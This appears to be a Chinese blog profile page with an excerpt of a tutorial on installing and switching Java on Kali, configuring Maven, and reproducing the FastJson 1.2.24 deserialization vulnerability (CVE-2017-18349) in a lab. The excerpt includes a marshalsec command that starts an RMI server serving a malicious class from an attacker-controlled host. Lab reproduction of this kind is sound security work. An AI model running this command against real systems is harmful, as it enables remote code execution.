- 博客(2)
- 收藏
- 关注
原创 kali下java任意版本安装、切换;maven配置;CVE-2017-18349(FastJson1.2.24反序列化导致任意命令执行漏洞)复现,从环境配置到复现保姆级过程
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.1.160:8888/#TouchFile”,注意引号必须是英文。装好以后明显多了一个target,并进入此目录执行以下命令便可开启rmi服务或ldap服务线程加载.class文件,具体工具使用可上github查看作者说明。接下来安装maven,通过命令直接安装,简单很多,因为Java默认使用的是系统版本,接下来将切换。
2023-09-17 01:56:51
953
3
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人